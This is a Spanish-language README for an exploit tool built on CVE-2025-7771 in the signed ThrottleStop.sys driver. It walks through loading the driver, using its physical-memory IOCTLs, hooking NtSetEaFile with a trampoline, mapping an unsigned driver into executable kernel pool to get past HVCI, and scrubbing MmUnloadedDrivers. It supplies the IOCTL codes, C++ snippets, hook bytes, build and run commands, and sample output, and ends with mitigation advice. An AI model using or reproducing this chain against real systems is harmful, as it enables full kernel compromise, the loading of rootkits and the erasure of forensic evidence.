🔓 Exploit de kernel ThrottleStop.sys — Mapeador de memoria física compatible con HVCI

CVE-2025-7771 — Lectura/Escritura arbitraria de memoria física a través de los IOCTL de ThrottleStop.sys

⚠️ Aviso legal

Este proyecto se publica únicamente con fines educativos y de investigación. El objetivo es demostrar cómo un controlador de kernel firmado y de confianza puede ser utilizado como arma para la escalada de privilegios local (LPE) desde Administrador hasta SYSTEM/Kernel, evadiendo de forma efectiva las funciones de seguridad modernas de Windows, incluidas HVCI (Integridad de código impuesta por hipervisor) y Secure Boot.

No utilice esta herramienta con fines malintencionados. El autor no se hace responsable de ningún uso indebido.

📋 Tabla de contenido

• Resumen de la vulnerabilidad
• Software afectado
• Análisis técnico
  • IOCTL vulnerables
  • Causa raíz
• Cadena de explotación
  • Paso 1 — Carga del controlador vulnerable
  • Paso 2 — Primitivas de memoria física
  • Paso 3 — Localización de la página de syscall
  • Paso 4 — Enganche de syscall mediante escritura física
  • Paso 5 — Ejecución arbitraria de código en kernel
  • Paso 6 — Limpieza forense
• Por qué esto evade HVCI
• Evaluación de impacto
• Compilación y uso
• Recomendaciones de mitigación
• Referencias

Resumen de la vulnerabilidad

Software afectado

• ThrottleStop — todas las versiones que incluyen ThrottleStop.sys con IOCTL de mapeo de memoria física
• Windows 10 1903 – 22H2 (x64)
• Windows 11 21H2 – 24H2 (x64), incluidas las compilaciones con HVCI habilitado
• Probado en: Windows 11 26100.x (24H2) con Secure Boot + HVCI

Análisis técnico

IOCTL vulnerables

El controlador de kernel ThrottleStop.sys expone un dispositivo (\\.\ThrottleStop) accesible para cualquier Administrador local. Implementa dos IOCTL que proporcionan acceso sin restricciones a la memoria física:

#define IOCTL_TS_READ_PHYS   0x80006498   // Read arbitrary physical address
#define IOCTL_TS_WRITE_PHYS  0x8000649C   // Write arbitrary physical address

Lectura de memoria física (0x80006498)

Input:  ULONG64 PhysicalAddress  (8 bytes)
Output: Data buffer              (1–8 bytes per call, determined by OutputBufferLength)

El controlador llama a MmMapIoSpace() para asignar la dirección física solicitada en el espacio virtual del kernel, copia los datos al búfer de salida y luego llama a MmUnmapIoSpace(). No se realiza ninguna validación sobre la dirección física: se puede leer cualquier dirección del espacio de direcciones físico.

Escritura de memoria física (0x8000649C)

Input:  ULONG64 PhysicalAddress (8 bytes) + Data (1–8 bytes)
        InputBufferLength = 8 + DataSize
Output: None

Mismo mecanismo que la lectura, pero escribe datos proporcionados por el usuario en la dirección física mapeada. De nuevo, sin validación de dirección ni de rango.

Causa raíz

El controlador fue diseñado para permitir que ThrottleStop (una utilidad de subvoltaje/limitación de la CPU) leyera y escribiera directamente MSR y registros de hardware. Los IOCTL de memoria física probablemente se añadieron para el acceso MMIO al espacio de configuración PCI o a los sensores térmicos de la CPU, pero la implementación no realiza ninguna comprobación de límites:

1. ❌ No comprueba si la dirección física pertenece a MMIO o a RAM
2. ❌ No comprueba si la dirección está dentro de la región de memoria prevista por el llamador
3. ❌ Sin restricciones de ACL más allá de exigir acceso al identificador GENERIC_READ | GENERIC_WRITE
4. ❌ Sin lista de direcciones físicas permitidas (allowlist)

Esto transforma un controlador legítimo de utilidad de hardware en una primitiva completa de lectura/escritura a nivel de kernel.

Cadena de explotación

La cadena de explotación escala desde una cuenta de Administrador local hasta la ejecución arbitraria de código en kernel, logrando de hecho un control ring-0 a nivel de SYSTEM.

Paso 1 — Carga del controlador vulnerable

El mapeador coloca ThrottleStop.sys en %TEMP%, crea una entrada de servicio en el registro bajo HKLM\SYSTEM\CurrentControlSet\Services\ThrottleStop y lo carga mediante NtLoadDriver():

// Enable SeLoadDriverPrivilege for the current process
driver::util::enable_privilege(L"SeLoadDriverPrivilege");

// Create service entry pointing to the dropped .sys file
driver::util::create_service_entry("\\??\\C:\\...\\ThrottleStop.sys", "ThrottleStop");

// Load via NtLoadDriver
NtLoadDriver(&driver_reg_path_unicode);

// Open device handle
CreateFileA("\\\\.\\ThrottleStop", GENERIC_READ | GENERIC_WRITE, ...);

Nota: Dado que ThrottleStop.sys está firmado legítimamente, se carga incluso con HVCI/Secure Boot habilitados. La directiva CI de Windows confía en el certificado.

Paso 2 — Primitivas de memoria física

Con el identificador del dispositivo, el exploit puede leer/escribir cualquier dirección física del sistema:

// Read 8 bytes from physical address 0x1000
ULONGLONG phys_addr = 0x1000;
ULONGLONG data = 0;
DeviceIoControl(handle, 0x80006498, &phys_addr, 8, &data, 8, &returned, NULL);

// Write 8 bytes to physical address
UCHAR input[16];
*(ULONGLONG*)input = target_phys_addr;      // address
*(ULONGLONG*)(input + 8) = shellcode_qword; // data
DeviceIoControl(handle, 0x8000649C, input, 16, NULL, 0, &returned, NULL);

El exploit envuelve estas operaciones en funciones auxiliares que gestionan lecturas/escrituras fragmentadas (1, 2, 4 u 8 bytes por llamada) para transferencias de longitud arbitraria.

Paso 3 — Localización de la página de syscall

Para ejecutar funciones arbitrarias del kernel, el exploit necesita encontrar la dirección física de un manejador de syscall del kernel. Su objetivo es NtSetEaFile (una syscall raramente supervisada):

1. Resolver RVA: cargar ntoskrnl.exe en modo usuario mediante LoadLibraryEx(DONT_RESOLVE_DLL_REFERENCES) y obtener la RVA de NtSetEaFile
2. Calcular el desplazamiento: dado que ntoskrnl se mapea con páginas grandes de 2MB, el desplazamiento físico de la función dentro de una página de 2MB = RVA & 0x1FFFFF
3. Escanear la memoria física: enumerar los rangos de memoria física desde el registro (HARDWARE\RESOURCEMAP\System Resources\Physical Memory), avanzar en pasos de 2MB y comparar bytes:

for (phys_2mb = start; phys_2mb < range_end; phys_2mb += 0x200000)
{
    candidate_pa = phys_2mb + offset_in_2mb;
    read_phys(candidate_pa, &first8, 8);
    if (first8 == pattern_first8)  // quick check
    {
        read_phys(candidate_pa, verify, 32);  // full verify
        if (memcmp(verify, pattern, 32) == 0)
        {
            syscall_phys_addr = candidate_pa;  // found it!
            // ... validate via PsGetProcessSectionBaseAddress
        }
    }
}

4. Validar: llamar a la syscall enganchada para invocar PsGetProcessSectionBaseAddress(current_pid) y verificar que la base devuelta coincide con GetModuleHandle(NULL).

Paso 4 — Enganche de syscall mediante escritura física

Una vez conocida la dirección física de NtSetEaFile, el exploit instala un trampolín de 12 bytes directamente mediante escrituras en la memoria física:

; Original NtSetEaFile bytes (saved for restoration)
; Replaced with:
mov rax, <target_kernel_address>   ; 48 B8 <8-byte imm64>
push rax                            ; 50
ret                                 ; C3

// Install hook
unsigned char jmp_code[12] = {
    0x48, 0xB8,                           // mov rax, imm64
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  // <target address>
    0x50,                                 // push rax
    0xC3                                  // ret
};
memcpy(jmp_code + 2, &target_function, 8);
write_phys(syscall_phys_addr, jmp_code, 12);

// Trigger from usermode
NtSetEaFile(args...);  // → jumps to target_function in kernel!

// Restore original bytes
write_phys(syscall_phys_addr, saved_bytes, 12);

Punto clave: escribir en la página física evita las protecciones de memoria virtual de HVCI. HVCI impide las páginas virtuales W+X, pero las escrituras en memoria física a través de MmMapIoSpace en el controlador van directamente a la RAM.

Paso 5 — Ejecución arbitraria de código en kernel

Con la primitiva de enganche de syscall, el exploit puede llamar a cualquier función del kernel con argumentos arbitrarios:

// Allocate executable kernel memory (HVCI-compatible)
auto pool = syscall<ExAllocatePool2>(ExAllocatePool2_addr,
    POOL_FLAG_NON_PAGED_EXECUTE, size, tag);

// Copy driver image to kernel pool via RtlCopyMemory
syscall<memcpy>(RtlCopyMemory_addr, pool, image_data, image_size);

// Call the driver's DriverEntry
syscall<DRIVER_INITIALIZE>(entry_point, pool_base, image_size);

Esto efectivamente mapea y ejecuta un controlador sin firmar en el espacio del kernel: una escalada de privilegios completa.

Paso 6 — Limpieza forense

Después de cargar el payload, el exploit elimina todos los rastros:

Por qué esto evade HVCI

HVCI (Integridad de código impuesta por hipervisor) impide que el código sin firmar se ejecute en el espacio del kernel aplicando W^X (Write XOR Execute) en las páginas virtuales del kernel mediante la traducción de direcciones de segundo nivel (SLAT/EPT).

Este exploit evade HVCI porque:

1. Controlador legítimo: ThrottleStop.sys está correctamente firmado y supera la validación de CI, por lo que se carga con normalidad incluso con HVCI activo.

2. Físico sobre virtual: los IOCTL utilizan MmMapIoSpace(), que opera sobre direcciones físicas. Las protecciones de HVCI se aplican a nivel de la tabla de páginas virtuales y mediante EPT, pero MmMapIoSpace crea un nuevo mapeo virtual para la página física con los permisos adecuados. La escritura en la página física de la syscall modifica el contenido de la RAM al que ya apunta el mapeo virtual existente.

3. Pool ejecutable: el exploit asigna memoria mediante ExAllocatePool2 con POOL_FLAG_NON_PAGED_EXECUTE, una forma legítima y aprobada por HVCI de obtener memoria de kernel ejecutable. El propio kernel la utiliza para código compilado JIT y ciertas asignaciones de pool.

4. Sin carga de controladores sin firmar: el mapeador nunca llama a NtLoadDriver con una imagen sin firmar. En su lugar, escribe manualmente el payload en una asignación de pool del kernel ya ejecutable y llama a su punto de entrada mediante el enganche de syscall.

┌─────────────────────────────────────────────┐
│           Usermode (Admin)                  │
│                                             │
│  1. Load ThrottleStop.sys (signed, trusted) │
│  2. Open \\.\ThrottleStop device            │
│  3. Read/Write physical memory via IOCTLs   │
└──────────────┬──────────────────────────────┘
               │ DeviceIoControl
               ▼
┌─────────────────────────────────────────────┐
│       ThrottleStop.sys (Kernel)             │
│                                             │
│  MmMapIoSpace(PhysAddr) → memcpy → unmap   │
│  No validation, any physical address OK     │
└──────────────┬──────────────────────────────┘
               │ Physical Memory Write
               ▼
┌─────────────────────────────────────────────┐
│       NtSetEaFile Physical Page             │
│                                             │
│  Original bytes overwritten with:           │
│  mov rax, <payload>; push rax; ret         │
│                                             │
│  → Any usermode NtSetEaFile() call now      │
│    executes arbitrary kernel code           │
└──────────────┬──────────────────────────────┘
               │ Kernel Code Execution
               ▼
┌─────────────────────────────────────────────┐
│       Full Kernel Compromise                │
│                                             │
│  • ExAllocatePool2 (executable pool)        │
│  • Map unsigned driver into kernel memory   │
│  • Call DriverEntry → SYSTEM-level access   │
│  • Scrub all forensic artifacts             │
└─────────────────────────────────────────────┘

Evaluación de impacto

Compilación y uso

Requisitos

• Visual Studio 2022 con la carga de trabajo C++ Desktop
• Windows SDK 10.0.26100.0+
• Privilegios de administrador en el equipo de destino

Compilación

git clone https://github.com/<your-repo>/throttlestop-mapper.git
cd throttlestop-mapper
# Open imxyviMapper.sln in Visual Studio
# Build → x64 Release

Ejecución

# Basic usage — auto-scans physical memory for syscall page
mapper.exe payload_driver.sys

# With pre-computed kernel CR3 (faster, skips scan)
mapper.exe payload_driver.sys 1AD000

Salida

[+] Driver: 45056 bytes
[*] Parsing PE...
[+] PE OK: entry=0x3040 size=0xC000
[*] Loading vulnerable driver...
[+] Driver loaded, handle=0x0000000000000094
[+] IOCTL OK
[*] Finding syscall page...
[+] Syscall page found
[*] Fixing imports...
[*] Allocating executable kernel pool (49152 bytes)...
[+] Pool allocated at: FFFFA40B7C8E0000
[*] Writing driver to kernel...
[*] Calling entry point at 0xFFFFA40B7C8E3040...
[+] Entry point returned
[*] Cleaning MmUnloadedDrivers...
[+] MmUnloadedDrivers successfully scrubbed
[*] Unloading vulnerable driver...
[+] Done

Recomendaciones de mitigación

Para Microsoft / Windows

1. Lista de bloqueo de controladores: añada los hashes de ThrottleStop.sys a la Lista de bloqueo de controladores vulnerables de Microsoft
2. Mejora de HVCI: bloquee las llamadas a MmMapIoSpace que apunten a direcciones físicas respaldadas por RAM desde controladores que no estén en la lista blanca
3. Auditoría de IOCTL: marque los controladores que expongan primitivas de memoria física sin procesar durante la certificación WHQL

Para el desarrollador de ThrottleStop

1. Elimine los IOCTL de memoria física — use IOCTL específicos de MSR (rdmsr/wrmsr) en lugar de MmMapIoSpace sin procesar
2. Implemente una lista blanca de direcciones — restrinja MmMapIoSpace a rangos MMIO conocidos (regiones PCI BAR, LAPIC, etc.)
3. Añada restricciones de ACL — limite el acceso al dispositivo al SID del token de la aplicación ThrottleStop

Para administradores de sistemas

1. Directiva WDAC: cree una directiva personalizada de Windows Defender Application Control (WDAC) que bloquee ThrottleStop.sys por hash
2. Supervise las cargas de controladores: alerte sobre cargas inusuales de controladores de kernel mediante Sysmon Event ID 6
3. Elimine ThrottleStop si no es necesario de forma activa para la gestión de la CPU

🏆 Créditos y agradecimientos

Referencias

• Demoo1337/ThrottleStop — PoC de CVE-2025-7771 — Investigación y exploit originales de la vulnerabilidad
• physmeme — Marco de explotación de memoria física (Licencia MIT, xerox/IDontCode)
• kdmapper — Mapeador de controladores de kernel
• Lista de bloqueo de controladores vulnerables de Microsoft
• Descripción general del diseño de HVCI — Microsoft
• MmMapIoSpace — Documentación de Microsoft

Licencia

Este proyecto se publica bajo la Licencia MIT con fines de investigación educativa. El marco physmeme subyacente es © 2020 xerox (Licencia MIT).

🔬 Divulgación responsable: esta vulnerabilidad fue descubierta por Demoo1337 y divulgada al proveedor. Este repositorio sirve como documentación para la comunidad de investigación en seguridad.